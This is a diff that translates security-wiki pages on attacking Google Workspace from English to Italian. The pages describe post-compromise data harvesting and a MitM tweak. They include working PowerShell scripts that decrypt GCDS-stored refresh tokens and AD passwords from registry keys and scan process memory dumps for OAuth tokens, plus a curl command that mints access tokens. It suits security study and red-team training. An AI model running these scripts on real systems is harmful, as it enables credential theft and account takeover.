Puoi creare **trigger basati sul tempo** in App Scripts, quindi se lo Script dell'app viene accettato dall'utente, verrà **attivato** anche **senza che l'utente vi acceda**. Per ulteriori informazioni su come fare questo controlla:
|
||||
|
||||
{{#ref}}
|
||||
gws-google-platforms-phishing/gws-app-scripts.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Riferimenti
|
||||
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch e Beau Bullock - OK Google, come faccio a Red Team GSuite?
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,14 +4,14 @@
|
||||
|
||||
## Google Groups Privesc
|
||||
|
||||
By default in workspace a **group** can be **freely accessed** by any member of the organization.\
|
||||
Workspace also allow to **grant permission to groups** (even GCP permissions), so if groups can be joined and they have extra permissions, an attacker may **abuse that path to escalate privileges**.
|
||||
Per impostazione predefinita in workspace un **gruppo** può essere **liberamente accessibile** da qualsiasi membro dell'organizzazione.\
|
||||
Workspace consente anche di **concedere permessi ai gruppi** (anche permessi GCP), quindi se i gruppi possono essere uniti e hanno permessi extra, un attaccante potrebbe **sfruttare quel percorso per elevare i privilegi**.
|
||||
|
||||
You potentially need access to the console to join groups that allow to be joined by anyone in the org. Check groups information in [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups).
|
||||
Potresti aver bisogno di accesso alla console per unirti a gruppi che possono essere uniti da chiunque nell'org. Controlla le informazioni sui gruppi in [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups).
|
||||
|
||||
### Access Groups Mail info
|
||||
|
||||
If you managed to **compromise a google user session**, from [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups) you can see the history of mails sent to the mail groups the user is member of, and you might find **credentials** or other **sensitive data**.
|
||||
Se sei riuscito a **compromettere una sessione utente google**, da [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups) puoi vedere la cronologia delle email inviate ai gruppi di posta di cui l'utente è membro, e potresti trovare **credenziali** o altri **dati sensibili**.
|
||||
|
||||
## GCP <--> GWS Pivoting
|
||||
|
||||
@@ -19,60 +19,56 @@ If you managed to **compromise a google user session**, from [**https://groups.g
|
||||
../gcp-security/gcp-to-workspace-pivoting/
|
||||
{{#endref}}
|
||||
|
||||
## Takeout - Download Everything Google Knows about an account
|
||||
## Takeout - Scarica tutto ciò che Google sa su un account
|
||||
|
||||
If you have a **session inside victims google account** you can download everything Google saves about that account from [**https://takeout.google.com**](https://takeout.google.com/u/1/?pageId=none)
|
||||
Se hai una **sessione all'interno dell'account google della vittima** puoi scaricare tutto ciò che Google salva su quell'account da [**https://takeout.google.com**](https://takeout.google.com/u/1/?pageId=none)
|
||||
|
||||
## Vault - Download all the Workspace data of users
|
||||
## Vault - Scarica tutti i dati di Workspace degli utenti
|
||||
|
||||
If an organization has **Google Vault enabled**, you might be able to access [**https://vault.google.com**](https://vault.google.com/u/1/) and **download** all the **information**.
|
||||
Se un'organizzazione ha **Google Vault abilitato**, potresti essere in grado di accedere a [**https://vault.google.com**](https://vault.google.com/u/1/) e **scaricare** tutte le **informazioni**.
|
||||
|
||||
## Contacts download
|
||||
## Contatti download
|
||||
|
||||
From [**https://contacts.google.com**](https://contacts.google.com/u/1/?hl=es&tab=mC) you can download all the **contacts** of the user.
|
||||
Da [**https://contacts.google.com**](https://contacts.google.com/u/1/?hl=es&tab=mC) puoi scaricare tutti i **contatti** dell'utente.
|
||||
|
||||
## Cloudsearch
|
||||
|
||||
In [**https://cloudsearch.google.com/**](https://cloudsearch.google.com) you can just search **through all the Workspace content** (email, drive, sites...) a user has access to. Ideal to **quickly find sensitive information**.
|
||||
In [**https://cloudsearch.google.com/**](https://cloudsearch.google.com) puoi semplicemente cercare **tra tutto il contenuto di Workspace** (email, drive, siti...) a cui un utente ha accesso. Ideale per **trovare rapidamente informazioni sensibili**.
|
||||
|
||||
## Google Chat
|
||||
|
||||
In [**https://mail.google.com/chat**](https://mail.google.com/chat) you can access a Google **Chat**, and you might find sensitive information in the conversations (if any).
|
||||
In [**https://mail.google.com/chat**](https://mail.google.com/chat) puoi accedere a una **Chat** di Google, e potresti trovare informazioni sensibili nelle conversazioni (se presenti).
|
||||
|
||||
## Google Drive Mining
|
||||
|
||||
When **sharing** a document you can **specify** the **people** that can access it one by one, **share** it with your **entire company** (**or** with some specific **groups**) by **generating a link**.
|
||||
Quando **condividi** un documento puoi **specificare** le **persone** che possono accedervi una per una, **condividerlo** con l'**intera azienda** (**o** con alcuni **gruppi** specifici) generando un **link**.
|
||||
|
||||
When sharing a document, in the advance setting you can also **allow people to search** for this file (by **default** this is **disabled**). However, it's important to note that once users views a document, it's searchable by them.
|
||||
Quando condividi un documento, nelle impostazioni avanzate puoi anche **permettere alle persone di cercare** questo file (per **default** questo è **disabilitato**). Tuttavia, è importante notare che una volta che gli utenti visualizzano un documento, è ricercabile da loro.
|
||||
|
||||
For sake of simplicity, most of the people will generate and share a link instead of adding the people that can access the document one by one.
|
||||
Per semplicità, la maggior parte delle persone genererà e condividerà un link invece di aggiungere le persone che possono accedere al documento una per una.
|
||||
|
||||
Some proposed ways to find all the documents:
|
||||
Alcuni modi proposti per trovare tutti i documenti:
|
||||
|
||||
- Search in internal chat, forums...
|
||||
- **Spider** known **documents** searching for **references** to other documents. You can do this within an App Script with[ **PaperChaser**](https://github.com/mandatoryprogrammer/PaperChaser)
|
||||
- Cerca in chat interne, forum...
|
||||
- **Spider** documenti **noti** cercando **riferimenti** ad altri documenti. Puoi farlo all'interno di uno Script App con [**PaperChaser**](https://github.com/mandatoryprogrammer/PaperChaser)
|
||||
|
||||
## **Keep Notes**
|
||||
|
||||
In [**https://keep.google.com/**](https://keep.google.com) you can access the notes of the user, **sensitive** **information** might be saved in here.
|
||||
In [**https://keep.google.com/**](https://keep.google.com) puoi accedere alle note dell'utente, **informazioni** **sensibili** potrebbero essere salvate qui.
|
||||
|
||||
### Modify App Scripts
|
||||
### Modifica App Scripts
|
||||
|
||||
In [**https://script.google.com/**](https://script.google.com/) you can find the APP Scripts of the user.
|
||||
In [**https://script.google.com/**](https://script.google.com/) puoi trovare gli APP Scripts dell'utente.
|
||||
|
||||
## **Administrate Workspace**
|
||||
## **Amministra Workspace**
|
||||
|
||||
In [**https://admin.google.com**/](https://admin.google.com), you might be able to modify the Workspace settings of the whole organization if you have enough permissions.
|
||||
In [**https://admin.google.com**/](https://admin.google.com), potresti essere in grado di modificare le impostazioni di Workspace dell'intera organizzazione se hai abbastanza permessi.
|
||||
|
||||
You can also find emails by searching through all the user's invoices in [**https://admin.google.com/ac/emaillogsearch**](https://admin.google.com/ac/emaillogsearch)
|
||||
Puoi anche trovare email cercando tra tutte le fatture dell'utente in [**https://admin.google.com/ac/emaillogsearch**](https://admin.google.com/ac/emaillogsearch)
|
||||
|
||||
## References
|
||||
## Riferimenti
|
||||
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch e Beau Bullock - OK Google, come faccio a Red Team GSuite?
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,12 +4,12 @@
|
||||
|
||||
## GCPW - Google Credential Provider for Windows
|
||||
|
||||
This is the single sign-on that Google Workspaces provides so users can login in their Windows PCs using **their Workspace credentials**. Moreover, this will store **tokens** to access Google Workspace in some places in the PC: Disk, memory & the registry... it's even possible to obtain the **clear text password**.
|
||||
Questo è il single sign-on che Google Workspaces fornisce affinché gli utenti possano accedere ai loro PC Windows utilizzando **le loro credenziali di Workspace**. Inoltre, questo memorizzerà **token** per accedere a Google Workspace in alcuni luoghi nel PC: Disco, memoria e il registro... è persino possibile ottenere la **password in chiaro**.
|
||||
|
||||
> [!TIP]
|
||||
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCPW**, get information about the configuration and **even tokens**.
|
||||
> Nota che [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) è in grado di rilevare **GCPW**, ottenere informazioni sulla configurazione e **anche token**.
|
||||
|
||||
Find more information about this in:
|
||||
Trova ulteriori informazioni su questo in:
|
||||
|
||||
{{#ref}}
|
||||
gcpw-google-credential-provider-for-windows.md
|
||||
@@ -17,14 +17,14 @@ gcpw-google-credential-provider-for-windows.md
|
||||
|
||||
## GCSD - Google Cloud Directory Sync
|
||||
|
||||
This is a tool that can be used to **sync your active directory users and groups to your Workspace** (and not the other way around by the time of this writing).
|
||||
Questo è uno strumento che può essere utilizzato per **synchronizzare gli utenti e i gruppi della tua directory attiva con il tuo Workspace** (e non viceversa al momento della scrittura).
|
||||
|
||||
It's interesting because it's a tool that will require the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.
|
||||
È interessante perché è uno strumento che richiederà le **credenziali di un superutente di Workspace e di un utente AD privilegiato**. Quindi, potrebbe essere possibile trovarlo all'interno di un server di dominio che sincronizza gli utenti di tanto in tanto.
|
||||
|
||||
> [!TIP]
|
||||
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCDS**, get information about the configuration and **even the passwords and encrypted credentials**.
|
||||
> Nota che [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) è in grado di rilevare **GCDS**, ottenere informazioni sulla configurazione e **anche le password e le credenziali criptate**.
|
||||
|
||||
Find more information about this in:
|
||||
Trova ulteriori informazioni su questo in:
|
||||
|
||||
{{#ref}}
|
||||
gcds-google-cloud-directory-sync.md
|
||||
@@ -32,14 +32,14 @@ gcds-google-cloud-directory-sync.md
|
||||
|
||||
## GPS - Google Password Sync
|
||||
|
||||
This is the binary and service that Google offers in order to **keep synchronized the passwords of the users between the AD** and Workspace. Every-time a user changes his password in the AD, it's set to Google.
|
||||
Questo è il binario e il servizio che Google offre per **mantenere sincronizzate le password degli utenti tra l'AD** e Workspace. Ogni volta che un utente cambia la propria password nell'AD, viene impostata su Google.
|
||||
|
||||
It gets installed in `C:\Program Files\Google\Password Sync` where you can find the binary `PasswordSync.exe` to configure it and `password_sync_service.exe` (the service that will continue running).
|
||||
Viene installato in `C:\Program Files\Google\Password Sync` dove puoi trovare il binario `PasswordSync.exe` per configurarlo e `password_sync_service.exe` (il servizio che continuerà a funzionare).
|
||||
|
||||
> [!TIP]
|
||||
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GPS**, get information about the configuration and **even the passwords and encrypted credentials**.
|
||||
> Nota che [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) è in grado di rilevare **GPS**, ottenere informazioni sulla configurazione e **anche le password e le credenziali criptate**.
|
||||
|
||||
Find more information about this in:
|
||||
Trova ulteriori informazioni su questo in:
|
||||
|
||||
{{#ref}}
|
||||
gps-google-password-sync.md
|
||||
@@ -47,16 +47,12 @@ gps-google-password-sync.md
|
||||
|
||||
## Admin Directory Sync
|
||||
|
||||
The main difference between this way to synchronize users with GCDS is that GCDS is done manually with some binaries you need to download and run while **Admin Directory Sync is serverless** managed by Google in [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
La principale differenza tra questo modo di sincronizzare gli utenti con GCDS è che GCDS viene eseguito manualmente con alcuni binari che devi scaricare ed eseguire mentre **Admin Directory Sync è senza server** gestito da Google in [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
|
||||
Find more information about this in:
|
||||
Trova ulteriori informazioni su questo in:
|
||||
|
||||
{{#ref}}
|
||||
gws-admin-directory-sync.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,30 +2,29 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Informazioni di base
|
||||
|
||||
This is a tool that can be used to **sync your active directory users and groups to your Workspace** (and not the other way around by the time of this writing).
|
||||
Questo è uno strumento che può essere utilizzato per **sincronizzare gli utenti e i gruppi della tua active directory con il tuo Workspace** (e non viceversa al momento della scrittura).
|
||||
|
||||
It's interesting because it's a tool that will require the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.
|
||||
È interessante perché è uno strumento che richiederà le **credenziali di un superutente di Workspace e di un utente AD privilegiato**. Quindi, potrebbe essere possibile trovarlo all'interno di un server di dominio che sincronizza gli utenti di tanto in tanto.
|
||||
|
||||
> [!NOTE]
|
||||
> To perform a **MitM** to the **`config-manager.exe`** binary just add the following line in the `config.manager.vmoptions` file: **`-Dcom.sun.net.ssl.checkRevocation=false`**
|
||||
> Per eseguire un **MitM** sul binario **`config-manager.exe`** basta aggiungere la seguente riga nel file `config.manager.vmoptions`: **`-Dcom.sun.net.ssl.checkRevocation=false`**
|
||||
|
||||
> [!TIP]
|
||||
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCDS**, get information about the configuration and **even the passwords and encrypted credentials**.
|
||||
> Nota che [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) è in grado di rilevare **GCDS**, ottenere informazioni sulla configurazione e **anche le password e le credenziali crittografate**.
|
||||
|
||||
Also note that GCDS won't synchronize passwords from AD to Workspace. If something it'll just generate random passwords for newly created users in Workspace as you can see in the following image:
|
||||
Nota anche che GCDS non sincronizzerà le password da AD a Workspace. Se qualcosa, genererà solo password casuali per gli utenti appena creati in Workspace come puoi vedere nell'immagine seguente:
|
||||
|
||||
<figure><img src="../../../images/telegram-cloud-photo-size-4-5780773316536156543-x.jpg" alt="" width="515"><figcaption></figcaption></figure>
|
||||
|
||||
### GCDS - Disk Tokens & AD Credentials
|
||||
### GCDS - Token di disco e credenziali AD
|
||||
|
||||
The binary `config-manager.exe` (the main GCDS binary with GUI) will store the configured Active Directory credentials, the refresh token and the access by default in a **xml file** in the folder **`C:\Program Files\Google Cloud Directory Sync`** in a file called **`Untitled-1.xml`** by default. Although it could also be saved in the `Documents` of the user or in **any other folder**.
|
||||
Il binario `config-manager.exe` (il principale binario GCDS con GUI) memorizzerà le credenziali di Active Directory configurate, il token di aggiornamento e l'accesso per impostazione predefinita in un **file xml** nella cartella **`C:\Program Files\Google Cloud Directory Sync`** in un file chiamato **`Untitled-1.xml`** per impostazione predefinita. Anche se potrebbe essere salvato anche nei `Documenti` dell'utente o in **qualsiasi altra cartella**.
|
||||
|
||||
Moreover, the registry **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** inside the key **`open.recent`** contains the paths to all the recently opened configuration files (xmls). So it's possible to **check it to find them**.
|
||||
|
||||
The most interesting information inside the file would be:
|
||||
Inoltre, il registro **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** all'interno della chiave **`open.recent`** contiene i percorsi a tutti i file di configurazione recentemente aperti (xml). Quindi è possibile **controllarlo per trovarli**.
|
||||
|
||||
Le informazioni più interessanti all'interno del file sarebbero:
|
||||
```xml
|
||||
[...]
|
||||
<loginMethod>OAUTH2</loginMethod>
|
||||
@@ -50,13 +49,11 @@ The most interesting information inside the file would be:
|
||||
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
|
||||
[...]
|
||||
```
|
||||
|
||||
Note how the **refresh** **token** and the **password** of the user are **encrypted** using **AES CBC** with a randomly generated key and IV stored in **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (wherever the **`prefs`** Java library store the preferences) in the string keys **`/Encryption/Policy/V2.iv`** and **`/Encryption/Policy/V2.key`** stored in base64.
|
||||
Nota come il **refresh** **token** e la **password** dell'utente siano **criptati** utilizzando **AES CBC** con una chiave e un IV generati casualmente memorizzati in **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (dove la libreria **`prefs`** di Java memorizza le preferenze) nelle chiavi di stringa **`/Encryption/Policy/V2.iv`** e **`/Encryption/Policy/V2.key`** memorizzate in base64.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Powershell script to decrypt the refresh token and the password</summary>
|
||||
|
||||
<summary>Script Powershell per decriptare il refresh token e la password</summary>
|
||||
```powershell
|
||||
# Paths and key names
|
||||
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
|
||||
@@ -66,34 +63,34 @@ $keyKeyName = "/Encryption/Policy/V2.key"
|
||||
|
||||
# Open the registry key
|
||||
try {
|
||||
$regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath)
|
||||
if (-not $regKey) {
|
||||
Throw "Registry key not found: HKCU\$regPath"
|
||||
}
|
||||
$regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath)
|
||||
if (-not $regKey) {
|
||||
Throw "Registry key not found: HKCU\$regPath"
|
||||
}
|
||||
}
|
||||
catch {
|
||||
Write-Error "Failed to open registry key: $_"
|
||||
exit
|
||||
Write-Error "Failed to open registry key: $_"
|
||||
exit
|
||||
}
|
||||
|
||||
# Get Base64-encoded IV and Key from the registry
|
||||
try {
|
||||
$ivBase64 = $regKey.GetValue($ivKeyName)
|
||||
$ivBase64 = $ivBase64 -replace '/', ''
|
||||
$ivBase64 = $ivBase64 -replace '\\', '/'
|
||||
if (-not $ivBase64) {
|
||||
Throw "IV not found in registry"
|
||||
}
|
||||
$keyBase64 = $regKey.GetValue($keyKeyName)
|
||||
$keyBase64 = $keyBase64 -replace '/', ''
|
||||
$keyBase64 = $keyBase64 -replace '\\', '/'
|
||||
if (-not $keyBase64) {
|
||||
Throw "Key not found in registry"
|
||||
}
|
||||
$ivBase64 = $regKey.GetValue($ivKeyName)
|
||||
$ivBase64 = $ivBase64 -replace '/', ''
|
||||
$ivBase64 = $ivBase64 -replace '\\', '/'
|
||||
if (-not $ivBase64) {
|
||||
Throw "IV not found in registry"
|
||||
}
|
||||
$keyBase64 = $regKey.GetValue($keyKeyName)
|
||||
$keyBase64 = $keyBase64 -replace '/', ''
|
||||
$keyBase64 = $keyBase64 -replace '\\', '/'
|
||||
if (-not $keyBase64) {
|
||||
Throw "Key not found in registry"
|
||||
}
|
||||
}
|
||||
catch {
|
||||
Write-Error "Failed to read registry values: $_"
|
||||
exit
|
||||
Write-Error "Failed to read registry values: $_"
|
||||
exit
|
||||
}
|
||||
$regKey.Close()
|
||||
|
||||
@@ -118,25 +115,25 @@ $encryptedPasswordBytes = [Convert]::FromBase64String($encryptedPasswordBase64)
|
||||
|
||||
# Function to decrypt data using AES CBC
|
||||
Function Decrypt-Data($cipherBytes, $keyBytes, $ivBytes) {
|
||||
$aes = [System.Security.Cryptography.Aes]::Create()
|
||||
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
|
||||
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
|
||||
$aes.KeySize = 256
|
||||
$aes.BlockSize = 128
|
||||
$aes.Key = $keyBytes
|
||||
$aes.IV = $ivBytes
|
||||
$aes = [System.Security.Cryptography.Aes]::Create()
|
||||
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
|
||||
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
|
||||
$aes.KeySize = 256
|
||||
$aes.BlockSize = 128
|
||||
$aes.Key = $keyBytes
|
||||
$aes.IV = $ivBytes
|
||||
|
||||
$decryptor = $aes.CreateDecryptor()
|
||||
$memoryStream = New-Object System.IO.MemoryStream
|
||||
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
|
||||
$cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length)
|
||||
$cryptoStream.FlushFinalBlock()
|
||||
$plaintextBytes = $memoryStream.ToArray()
|
||||
$decryptor = $aes.CreateDecryptor()
|
||||
$memoryStream = New-Object System.IO.MemoryStream
|
||||
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
|
||||
$cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length)
|
||||
$cryptoStream.FlushFinalBlock()
|
||||
$plaintextBytes = $memoryStream.ToArray()
|
||||
|
||||
$cryptoStream.Close()
|
||||
$memoryStream.Close()
|
||||
$cryptoStream.Close()
|
||||
$memoryStream.Close()
|
||||
|
||||
return $plaintextBytes
|
||||
return $plaintextBytes
|
||||
}
|
||||
|
||||
# Decrypt the values
|
||||
@@ -150,23 +147,21 @@ $decryptedPassword = [System.Text.Encoding]::UTF8.GetString($decryptedPasswordBy
|
||||
Write-Host "Decrypted Refresh Token: $refreshToken"
|
||||
Write-Host "Decrypted Password: $decryptedPassword"
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
> [!NOTE]
|
||||
> Note that it's possible to check this information checking the java code of **`DirSync.jar`** from **`C:\Program Files\Google Cloud Directory Sync`** searching for the string `exportkeys` (as thats the cli param that the binary `upgrade-config.exe` expects to dump the keys).
|
||||
> Nota che è possibile controllare queste informazioni esaminando il codice java di **`DirSync.jar`** da **`C:\Program Files\Google Cloud Directory Sync`** cercando la stringa `exportkeys` (poiché è il parametro cli che il binario `upgrade-config.exe` si aspetta per estrarre le chiavi).
|
||||
|
||||
Instead of using the powershell script, it's also possible to use the binary **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** with the param `-exportKeys` and get the **Key** and **IV** from the registry in hex and then just use some cyberchef with AES/CBC and that key and IV to decrypt the info.
|
||||
Invece di utilizzare lo script powershell, è anche possibile utilizzare il binario **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** con il parametro `-exportKeys` e ottenere la **Key** e **IV** dal registro in esadecimale e poi utilizzare qualche cyberchef con AES/CBC e quella chiave e IV per decrittografare le informazioni.
|
||||
|
||||
### GCDS - Dumping tokens from memory
|
||||
|
||||
Just like with GCPW, it's possible to dump the memory of the process of the `config-manager.exe` process (it's the name of the GCDS main binary with GUI) and you will be able to find refresh and access tokens (if they have been generated already).\
|
||||
I guess you could also find the AD configured credentials.
|
||||
Proprio come con GCPW, è possibile estrarre la memoria del processo del `config-manager.exe` (è il nome del binario principale di GCDS con GUI) e sarai in grado di trovare token di refresh e di accesso (se sono già stati generati).\
|
||||
Immagino che tu possa anche trovare le credenziali configurate di AD.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dump config-manager.exe processes and search tokens</summary>
|
||||
|
||||
```powershell
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
|
||||
@@ -175,13 +170,13 @@ $dumpFolder = "C:\Users\Public\dumps"
|
||||
|
||||
# Regular expressions for tokens
|
||||
$tokenRegexes = @(
|
||||
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
|
||||
"1//[a-zA-Z0-9_\.\-]{50,}"
|
||||
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
|
||||
"1//[a-zA-Z0-9_\.\-]{50,}"
|
||||
)
|
||||
|
||||
# Create a directory for the dumps if it doesn't exist
|
||||
if (!(Test-Path $dumpFolder)) {
|
||||
New-Item -Path $dumpFolder -ItemType Directory
|
||||
New-Item -Path $dumpFolder -ItemType Directory
|
||||
}
|
||||
|
||||
# Get all Chrome process IDs
|
||||
@@ -189,96 +184,92 @@ $chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyConti
|
||||
|
||||
# Dump each Chrome process
|
||||
foreach ($processId in $chromeProcesses) {
|
||||
Write-Output "Dumping process with PID: $processId"
|
||||
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
|
||||
Write-Output "Dumping process with PID: $processId"
|
||||
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
|
||||
}
|
||||
|
||||
# Extract strings and search for tokens in each dump
|
||||
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
|
||||
$dumpFile = $_.FullName
|
||||
$baseName = $_.BaseName
|
||||
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
|
||||
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
|
||||
$dumpFile = $_.FullName
|
||||
$baseName = $_.BaseName
|
||||
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
|
||||
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
|
||||
|
||||
Write-Output "Extracting strings from $dumpFile"
|
||||
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
|
||||
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
|
||||
Write-Output "Extracting strings from $dumpFile"
|
||||
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
|
||||
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
|
||||
|
||||
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
|
||||
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
|
||||
|
||||
foreach ($file in $outputFiles) {
|
||||
foreach ($regex in $tokenRegexes) {
|
||||
foreach ($file in $outputFiles) {
|
||||
foreach ($regex in $tokenRegexes) {
|
||||
|
||||
$matches = Select-String -Path $file -Pattern $regex -AllMatches
|
||||
$matches = Select-String -Path $file -Pattern $regex -AllMatches
|
||||
|
||||
$uniqueMatches = @{}
|
||||
$uniqueMatches = @{}
|
||||
|
||||
foreach ($matchInfo in $matches) {
|
||||
foreach ($match in $matchInfo.Matches) {
|
||||
$matchValue = $match.Value
|
||||
if (-not $uniqueMatches.ContainsKey($matchValue)) {
|
||||
$uniqueMatches[$matchValue] = @{
|
||||
LineNumber = $matchInfo.LineNumber
|
||||
LineText = $matchInfo.Line.Trim()
|
||||
FilePath = $matchInfo.Path
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
foreach ($matchInfo in $matches) {
|
||||
foreach ($match in $matchInfo.Matches) {
|
||||
$matchValue = $match.Value
|
||||
if (-not $uniqueMatches.ContainsKey($matchValue)) {
|
||||
$uniqueMatches[$matchValue] = @{
|
||||
LineNumber = $matchInfo.LineNumber
|
||||
LineText = $matchInfo.Line.Trim()
|
||||
FilePath = $matchInfo.Path
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($matchValue in $uniqueMatches.Keys) {
|
||||
$info = $uniqueMatches[$matchValue]
|
||||
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
|
||||
}
|
||||
}
|
||||
foreach ($matchValue in $uniqueMatches.Keys) {
|
||||
$info = $uniqueMatches[$matchValue]
|
||||
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
|
||||
}
|
||||
}
|
||||
|
||||
Write-Output ""
|
||||
}
|
||||
Write-Output ""
|
||||
}
|
||||
}
|
||||
|
||||
Remove-Item -Path $dumpFolder -Recurse -Force
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### GCDS - Generating access tokens from refresh tokens
|
||||
|
||||
Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command:
|
||||
### GCDS - Generazione di token di accesso dai token di aggiornamento
|
||||
|
||||
Utilizzando il token di aggiornamento, è possibile generare token di accesso utilizzandolo e l'ID client e il segreto client specificati nel seguente comando:
|
||||
```bash
|
||||
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
|
||||
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
|
||||
https://www.googleapis.com/oauth2/v4/token
|
||||
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
|
||||
https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
|
||||
### GCDS - Scopes
|
||||
|
||||
> [!NOTE]
|
||||
> Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**.
|
||||
